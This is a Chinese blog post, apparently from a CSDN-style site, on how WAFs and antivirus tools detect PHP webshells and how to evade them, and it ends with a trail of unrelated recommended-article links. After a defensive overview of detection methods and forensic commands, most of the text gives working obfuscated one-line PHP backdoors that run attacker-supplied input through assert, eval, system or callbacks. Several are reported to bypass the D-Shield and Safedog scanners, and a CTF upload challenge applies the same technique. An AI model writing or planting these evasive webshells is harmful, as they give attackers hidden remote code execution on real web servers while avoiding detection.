前言

在打CTF或渗透时,经常会遇到waf,普通的一句话木马便会被检测出来,打CTF还好,如果是渗透测试那么就有可能直接封IP,而且会发出报警信息。所以要掌握一句话木马的免杀。

Webshell检测方式

网上有很多免杀的一句话木马,但是如果不知道主流杀毒或waf的检测方式,也只是类似爆破而已,运气好了能进去,运气不好就换下一个payload。因此在此之前,先来了解一下都有哪些检测方式。

日志检测

使用Webshell一般不会在系统日志中留下记录,但是会在网站的web日志中留下Webshell页面的访问数据和数据提交记录。日志分析检测技术通过大量的日志文件建立请求模型从而检测出异常文件,称之为:HTTP异常请求模型检测。它的优点为当网站上的访问量级达到一致值时,这种检测方法具有比较大参考性价值。它的缺点则是存在一定误报率,对于大量的日志文件,检测工具的处理能力和效率都会变的比较低。

文件内容检测(静态检测)

静态检测是指对脚本文件中所使用的关键词、高危函数、文件修改的时间、文件权限、文件的所有者以及和其它文件的关联性等多个维度的特征进行检测,即先建立一个恶意字符串特征库。对已知的webshell查找准确率高,但缺点是漏报率、误报率高,无法查找0day型webshell,而且容易被绕过。

具体的检测方式如下:

Webshell特征检测

使用正则表达式制定相应的规则是很常见的一种静态检测方法,通过对webshell文件进行总结,提取出常见的特征码、特征值、威胁函数形成正则,再进行扫描整个文件,通过关键词匹配脚本文件找出webshell。

比较常见的如:

系统调用的命令执行函数:eval\system\cmd_shell\assert等

统计特征检测

经常会出现一些变形混淆webshell,正则一般检测不出来,但是这类脚本都明显与正常脚本不同,通过统计文本熵、字符串长度、特殊符号个数、重合指数、压缩比等来制定相应的规则以预防混淆的webshell。

Neopi是一个基于统计学的Webshell后门检测工具,使用五种计学方法在脚本文件中搜索潜在的被混淆或被编码的恶意代码。

1、信息熵(Entropy):通过使用ASCII码表来衡量文件的不确定性;

2、最长单词(LongestWord):最长的字符串也许潜在的被编码或被混淆;

3、重合指数(Indexof Coincidence):低重合指数预示文件代码潜在的被加密或被混效过;

4、特征(Signature):在文件中搜索已知的恶意代码字符串片段;

5、压缩(Compression):对比文件的压缩比。

文件名检测

这个便很好理解,有的文件名一看便知道是webshell,也是根据一些常见的webshell文件名进行总结然后再进行过滤。

如:

backdoor.php、webshell.php等等

文件行为检测(动态检测)

动态特征检测是通过Webshell运行时使用的系统命令或者网络流量及状态的异常来判断动作的威胁程度,Webshell通常会被加密从而避开静态特征的检测,当Webshell运行时就需要向系统发送系统命令来达到控制系统或者其他的目的。通过检测系统调用来监测甚至拦截系统命令被执行,从行为模式上深度检测脚本文件的安全性。

具体检测方式如下:

流量行为特征检测

webshell带有常见的系统调用、系统配置、数据库、文件操作动作等,它的行为方式决定了它的数据流量中的参数具有一些明显的特征。

如:

ipconfig/ifconfig/syste/whoami/net stat/eval/database/systeminfo

攻击者在上传完webshell后肯定会执行些命令等,那么便可以去检测系统的变化以及敏感的操作,通过和之前的配置以及文件的变化对比监测系统达到发现webshell的目的

进程分析

利用netstat命令来分析可疑的端口、IP、PID及程序进程

netstat -anptu | grep xx

有些进程是隐藏起来的,可以通过以下命令来查看隐藏进程

ps -ef | awk '{print}' | sort -n | uniq >1

ls /proc | sort -n |uniq >2

diff 1 2

文件分析

通过查看/tmp /init.d /usr/bin /usr/sbin等敏感目录有无可疑的文件,针对可以的文件可使用stat进行创建修改时间、访问时间的详细查看,若修改时间距离事件日期接近,有线性关联,说明可能被篡改或者其他

stat /usr/bin

除此之外,还可以查找新增文件的方式来查找webshell

查找24小时内被修改的PHP文件

find ./ -mtime 0 -name "*.php"

查找隐藏文件

ls -ar | grep "^\."

系统信息分析

通过查看一些系统信息,来进行分析是否存在webshell

cat /root/.bash_history

查看命令操作痕迹

cat /etc/passwd

查看有无新增的用户或者除root之外uid为0的用户

crontab /etc/cron*

查看是否有后门木马程序启动相关信息

Webshell工具特征检测

常见的Webshell工具如:菜刀、冰蝎、蚁剑等,通过对这些工具特征的检测来检测出木马。

例如:中国菜刀Webshell流量特征(PHP类)

特征主要在body中,进行url解码后通常包括以下几个部分:

eval函数/assert函数

base64_decode($_POST[z0])将攻击payload进行Base64解码,因为菜刀默认是将攻击载荷使用Base64编码,以避免被检测;

z0=QGluaV9zZXQ...该部分是传递攻击payload,此参数z0对应$_POST[z0]接收到的数据,该参数值是使用Base64编码的,所以可以利用base64解码可以看到攻击明文

不同的版本对应的流量也不太相同,需要具体去分析,这里就不再过多举例了

静态免杀

PHP木马静态免杀基本是通过各种加密、移位或异或等方式来隐藏关键词。下面就来看看一些常见的免杀技巧

将关键词混淆在类中、函数中

例如:使用str_rot13函数,注意assert适用于PHP5版本

$c=str_rot13('nffreg');

$c($_REQUEST['x']);

?>

str_rot13() 函数对字符串执行 ROT13 编码,通过编码来最终获得assert,但是这样是能被查杀出来的,可以将其隐藏在类或函数中

function Sn0w($a){

$b=str_rot13('nffreg');

$b($a);

}

Sn0w($_REQUEST['x']);

?>

但是这样还是绕不过D盾,那就在函数的外面再套上类来试试

class One{

function Sn0w($x){

$c=str_rot13('n!ff!re!nffreg');

$str=explode('!',$c)[3];

$str($x);

}

}

$test=new One();

$test->Sn0w($_REQUEST['x']);

?>

利用explode函数来分割字符串,再由class封装类来进行绕过D盾,D盾

使用冷门的回调函数

比较生僻的回调函数如:forward_static_call_array

forward_static_call_array(assert,array($_POST[x]));

?>

D盾显示1级

还可以进行变形,定义一个函数或类来调用相应的回调函数,常见的回调函数如下:

call_user_func_array()

call_user_func()

array_filter()

array_walk()

array_map()

registregister_shutdown_function()

register_tick_function()

filter_var()

filter_var_array()

uasort()

uksort()

array_reduce()

array_walk()

array_walk_recursive()

这里定义一个函数来调用其中一个回调函数

function Sn0w($a,$b){

array_reduce($a,$b)

}

Sn0w(assert,$_REQUEST['x']);

?>

成功绕过D盾和安全狗

还可以定义一个类来进行绕过:

class Sn0w {

var $a;

var $b;

function __construct($a,$b) {

$this->a=$a;

$this->b=$b;

}

function test() {

array_map($this->a,$this->b);

}

}

$p1=new Sn0w(assert,array($_POST['x']));

$p1->test();

?>

隐藏关键字

利用PHP的一些函数进行重组、拆分等

利用编码

$a=base64_decode("ZXZhbA==")//eval

$a($_POST['a']);

?>

利用数组

$a = substr_replace("assexx","rt",4);

$b=[''=>$a($_POST['a'])];

?>

利用函数

function func(){

return $_REQUEST['x'];

}

preg_replace("/hello/e",func(),"hello");

?>

加上/e可以当作PHP代码进行解析,测试在5.6版本下可以使用

除此之外,例如create_function函数,用来创建匿名函数

$a = create_function('',$_POST['a']);

$a();

?>

利用array_map函数

利用特殊字符

$a = $_POST['a'];

$b = "\r";

eval($b.=$a);

?>

#\r\n\t都可以

动态免杀需要先了解各个Webshell工具的流量等,还要再学习一段时间。

题目实践

基础免杀

一个文件上传题目,先fuzz一下,发现过滤了

但是`并没有被过滤掉,而且可以直接上传PHP文件,那就比较容易了,而且过滤了_POST和_GET,那就用_REQUEST来代替

payload:

上面也提到了静态免杀的好多种方法,不妨也试一下

拆解合并:

$ch = explode(".","as.sy.s.tem.t");

$c = $ch[1].$ch[2].$ch[3]; //system

$c($_REQUEST['x']);

?>

利用函数:

$a = create_function('',$_REQUEST['a']);

$a();

?>

除此之外,还有很多方法,这里就不再进行一一列举了。

参考博客:

php简短一句话木马免杀,免杀/一句话木马(PHP)相关推荐

  1. silic group第五版php木马,php一句话后门特征码与免杀-zz

    作者:YoCo Smart 来自:Silic Group Hacker Army [BlackBap.Org] 首先我们要明白什么是一句话木马. "一句话"是一种特征性很强的脚本后 ...

  2. 关注木马是如何免杀的

    最近自己的正当程序老被杀软查杀,特此准备学习免杀. 第一部分:对国内外杀毒软件分析 在讲定位内存特征码前,先要分析国内外著名杀毒软件的内存查杀特点.大家在使用木马过程都会发现,内存查杀,一般都指得被瑞 ...

  3. 更高明的黑客木马源码 免查杀 免检测的木马 一般人、任何杀毒软件 木马检测工具都探测不出来的木马病毒...

    这个木马,使用了更加高明的伪装手法! 可以轻易的避过一切 杀毒软件 . 木马检测软件 . 运维工程师 和 程序工程师 的 粗心 的检测! 真正做到了"免检""免查杀&qu ...

  4. 511遇见易语言封装免注册免查杀大漠模块命令

    高清视频,演示了如何免注册封装大漠模块,封装了大漠文档的几乎所有命令,并针对相应的命令选择的做了测试,示范,调用. 目录: 1-单线程免注册免查杀 2-单线程后台绑定窗口BindWindow 3-后台 ...

  5. 易语言封装免注册免查杀大漠模块命令

    大漠图色插件时COM组件,我们可以封装成模块,可以免注册到系统,直接调用接口,有效避免杀软的拦截,查杀,也可以再dm.dll释放时,改变文件的属性,比如系统.存档.只读.隐藏,你也可以给它改名成360 ...

  6. linux 查杀php木马,linux上php木马、后门查杀总结

    Web Server(Nginx为例) 1.为防止跨站感染,要做虚拟主机目录隔离(我是直接利用fpm建立多个程序池达到隔离效果) 2.上传目录.include类的库文件目录要禁止代码执行(Nginx正 ...

  7. 最新(U盘木马)Auto病毒专杀

    最新(U盘木马)Auto病毒专杀 (U盘木马)Auto病毒专杀 1.30秒闪电查杀 RavMone.Rose.Sxs.OSO 等几十种通过U盘传播的Autorun病毒 2.查杀未知Autorun病毒 ...

  8. usp10.dll木马群的手工杀毒流程

    今天一个朋友中了这个病毒,看到了这个手工杀毒的方法,转载到这里,留待自己若是中毒了,学习!其原文地址是:http://bbs.ikaka.com/showtopic-8592261-1.aspx 作者 ...

  9. JS脚本实现CSDN免登陆免关闭广告插件自动展开“阅读更多”内容

    最近在CSDN查资料,总是弹出以下弹窗,然后就自动跳转到登录页面,蛋疼! 于是重新捣腾了一下,修改了原来的脚本,最新的脚本代码如下: 温馨提示:在打开CSDN页面后立刻执行以下脚本即可免登陆免关闭广告 ...

  10. EasyClick iOS脚本免越狱免硬件实现方案_可云控大量部署

    iOS脚本免越狱免硬件实现方案 硬件实现 电脑中控方案 免越狱无硬件方案 硬件实现 一般实现都是采用外加一个硬件的方案,采用使用易语言编程. 这样的方案缺点: 1.硬件板子不稳定,没有经过严格的质量检 ...

最新文章

  1. python自定义类如何定义向量的模_gensim的word2vec如何得出词向量(python)
  2. mybatis无mapper.xml用法
  3. Redis事务中的watch机制-从实例入手学习
  4. VC/MFC Combo Box控件的用法
  5. 分布式文件系统研究-什么是分布式文件系统
  6. 【python数字信号处理】——循环卷积(也叫圆圈卷积)
  7. JavaFX之TableView的SelectionMode
  8. Android Studio实现一个新闻APP
  9. LaTeX(Overleaf)写作笔记
  10. html设置图片高度宽度自适应屏幕,css让图片自适应屏幕大小的方法
  11. java 请求webservice_JAVA调用WebService实例
  12. 【Badboy】脚本录制
  13. js中字符串方法集合
  14. 程序员培训学多久?学半年能做程序员吗?
  15. 2020农行研发中心面经
  16. PassMark 更新排行,苹果 M1 杀疯了
  17. 区域增长法和连通区域标记法【小记】
  18. 备忘: 两个路由器 串联 设置
  19. Winform基础入门(一)
  20. 从零开始学_JavaScript_系列(六)——CSS的padding、margin、border属性超详细解释(图文)

热门文章

  1. 大数据开发之数据仓库
  2. EEGLAB 脑电数据处理与分析
  3. 【开发经验】fiddler实现请求转发
  4. RadAsm模板修改
  5. lg相乘公式_ln公式(lg公式大全)
  6. linux gif录制工具,教学?演示?在Linux下安装超好用的屏幕录像机来录制gif动画...
  7. HTMLCSS字体之引入外部字体
  8. 解决udhcpc命令无法自动获取并设置网卡IP和系统DNS
  9. PFC颗粒流 指定文件路径输出方法
  10. 呼吸灯(MUC辉芒微P61f145)